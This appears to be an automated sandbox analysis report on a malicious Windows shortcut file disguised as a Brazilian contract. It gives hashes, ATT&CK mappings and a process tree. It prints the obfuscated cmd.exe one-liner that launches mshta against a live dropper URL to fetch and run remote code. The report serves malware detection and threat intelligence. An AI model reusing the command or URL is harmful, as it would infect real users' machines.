5cba3d43f05be03e4876c5fd2bc730821d6f7046537b5d54eb395e76d304b5fa

Analysis

max time kernel
148s
max time network
154s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
03/08/2026, 12:45

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General

Target
Contrato_Indeniza_Brasil-5AYZ07.lnk
Size 1KB
Sample260803-py3dasbk7v
SHA256 5cba3d43f05be03e4876c5fd2bc730821d6f7046537b5d54eb395e76d304b5fa
MD5 4e480f1213304080af587e73521d8c47
SHA1 656898ce56489f879691d99033b4e93b7a8347c0
SHA512 21d82b4c58cabe5a724efe38f0286e78e85c75487a5463e115e58e5b8a6d8304179c1fa49534c4a29899d905024f61afed145b7e7f7805a5dfa101dded0f588d
TLSH
T10F319C003AFD0654F3F78E7685BB9B1059FBF8568D10C61D4150454C1062E01E67BF67
MD5 SHA1 SHA512 TLSH

Score

10^/10

execution

Malware Config

Extracted

Language

Source

URLs

hta.dropper
https://aglobaconvite.com/h/estagio1.php?r=271E62FD4093CD4D6D

Signatures

Badlisted process makes network request 8 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
2	5568	mshta.exe
4	5568	mshta.exe
7	5568	mshta.exe
10	5568	mshta.exe
12	5568	mshta.exe
13	5568	mshta.exe
17	5568	mshta.exe
18	5568	mshta.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 2 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
5596	cmd.exe
5996	cmd.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 5596 wrote to memory of 5996	5596	cmd.exe	90
PID 5996 wrote to memory of 5568	5996	cmd.exe	91

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\Contrato_Indeniza_Brasil-5AYZ07.lnk
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:5596
- C:\WINDOWS\system32\cmd.exe
  "C:\WINDOWS\system32\cmd.exe" /V:on /c "set pceZk=msh&&set ugZay=ta&&start "" !pceZk!!ugZay! https://aglobaconvite.com/h/estagio1.php?r=271E62FD4093CD4D6D"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:5996
- - C:\Windows\System32\mshta.exe
    mshta https://aglobaconvite.com/h/estagio1.php?r=271E62FD4093CD4D6D
    3⤵
    - Badlisted process makes network request
    PID:5568

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

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Downloads